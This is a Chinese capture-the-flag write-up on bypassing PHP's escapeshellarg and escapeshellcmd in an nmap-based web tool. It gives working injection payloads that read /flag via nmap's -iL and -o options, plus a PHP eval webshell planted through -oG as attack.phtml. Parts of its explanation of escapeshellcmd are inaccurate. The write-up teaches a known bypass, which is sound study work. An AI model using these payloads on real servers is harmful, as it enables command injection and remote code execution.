知识点:escapeshellarg和escapeshellcmd函数的绕过
nmap使用方法

进入页面是一个NMAP工具的使用页面
知识点:
Nmap(Network Mapper)是一款功能强大的网络扫描工具,它能够帮助用户发现网络上的设备、开放的端口以及运行的服务。以下是一些Nmap的常见命令及其用途:
- 基本扫描
nmap <目标IP>:对指定IP地址进行快速扫描,默认扫描100个常用端口。nmap -p <端口范围> <目标IP>:扫描指定IP地址的特定端口范围。- 详细扫描
nmap -sV <目标IP>:探测目标主机上运行的服务的版本信息。nmap -O <目标IP>:尝试检测目标主机的操作系统类型。nmap -A <目标IP>:进行高级扫描,包括操作系统检测、版本检测、脚本扫描等。- 扫描多个目标
nmap <目标IP1> <目标IP2> ...:依次扫描多个IP地址。nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描。- 扫描整个子网
nmap <起始IP>-<结束IP>:扫描指定IP范围内的所有主机。nmap <网络地址>/<子网掩码>:使用CIDR表示法扫描整个子网。- 服务探测
nmap --script=<脚本名> <目标IP>:运行指定的Nmap脚本进行扫描。nmap -sT <目标IP>(或-sU):进行TCP(或UDP)连接扫描。nmap -sS <目标IP>:进行TCP SYN扫描(半开扫描),速度较快且不易被防火墙发现。- 性能优化
nmap -T<0-5> <目标IP>:设置扫描的并行度,-T0为最慢但最隐蔽,-T5为最快但可能触发防火墙警报。nmap --min-hostgroup=<数量>:设置一次扫描的主机组大小,以优化扫描速度。- 结果输出
nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中。nmap -oX <输出文件> <目标IP>:将扫描结果以XML格式保存到文件中。nmap -oG <输出文件> <目标IP>:将扫描结果以Grepable格式保存到文件中,便于后续处理。- 其他选项
nmap --open <目标IP>:仅显示开放的端口。nmap --host-timeout=<时间>:设置扫描每个主机的超时时间。nmap --script-timeout=<时间>:设置运行脚本的超时时间。nmap --osscan-limit:限制操作系统检测,以加快扫描速度。nmap --osscan-guess:尝试猜测更具体的操作系统信息。
这里试一下多条命令执行.


;被转义了.
那么看下页面源代码看看.

他这里有提示: flag is in /flag
那么我们可以通过以下知识点写入webshell,或将flag读入指定文件在读取指定文件内容即可
nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描
nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中
第一种方法:将flag读取至指定文件.
payload:
127.0.0.1' -iL /flag -o wtj
这里多家一个单引号是为了绕过escapeshellarg和escapeshellcmd两个函数.
在PHP中,escapeshellarg() 和 escapeshellcmd() 函数用于处理用户输入,以防止命令注入攻击。这两个函数的行为有所不同,并且它们的处理方式影响最终的命令字符串。
escapeshellarg()
escapeshellarg() 函数用于确保一个字符串在作为命令行参数时安全。它会将单引号进行转义,并用一对单引号包裹整个字符串,确保该字符串被视为一个单独的参数。
原始输入:
$input = "127.0.0.1' -iL /flag -o wtj";
经过 escapeshellarg() 处理后:
$safe_input = escapeshellarg($input);
echo $safe_input; // 输出:'127.0.0.1'\'' -iL /flag -o wtj'
解释:
- 单引号
'被转义为\',然后用一对单引号包裹整个字符串。 - 结果是一个合法的命令行参数,其中原始字符串被安全地引用。
escapeshellcmd()
escapeshellcmd() 函数用于确保一个字符串在作为整个命令行时安全。它会转义一些特殊字符,比如 ;, &, (, ), |, <, >, ^, `, $, *, \, ", `, [, ], {, }, =, ?, 和 #,以及空格和制表符。
原始输入:
$input = "'127.0.0.1'\'' -iL /flag -o wtj'";
注意:这里输入已经包含了一些转义的单引号,并且整个字符串被单引号包裹。
经过 escapeshellcmd() 处理后:
$safe_input = escapeshellcmd($input);
echo $safe_input; // 输出:'127.0.0.1'\\'' -iL /flag -o wtj\'
解释:
- 单引号
'已经被转义为\',但由于整个字符串已经处于单引号内,所以内部的\'被进一步转义为\\'。 - 字符串末尾的单引号
'被转义为\',因为escapeshellcmd()会处理字符串中的所有特殊字符。 - 结果是一个更安全的命令行字符串,但需要注意的是,这种处理方式可能会在某些情况下导致意外的行为,特别是当输入字符串已经包含转义字符时。

最后获取到flag.
第二种方法:写入webshell
我们可以利用-oG写入webshell:127.0.0.1 | <?=@eval($_REQUEST['cmd']);?> -oG attack.php

有什什么被过滤了 ,改成phtml试试.
127.0.0.1 | '<?=@eval($_REQUEST['cmd']);?>' -oG attack.phtml

知识点:
escapeshellcmd函数的主要作用是对一些特定的特殊字符进行转义,以防止外部命令注入。这些特殊字符通常包括单引号、双引号、反斜杠和一些其他字符,它们在 shell 中可能会改变命令的行为。对于字符串
<?=@eval($_POST[cmd]);?>,这是一个 PHP 代码片段,而不是外部命令的参数。因此,escapeshellcmd函数不会对这类代码进行转义。escapeshellcmd只适用于需要被传递到操作系统命令行的字符串。
读取到flag,游戏结束~
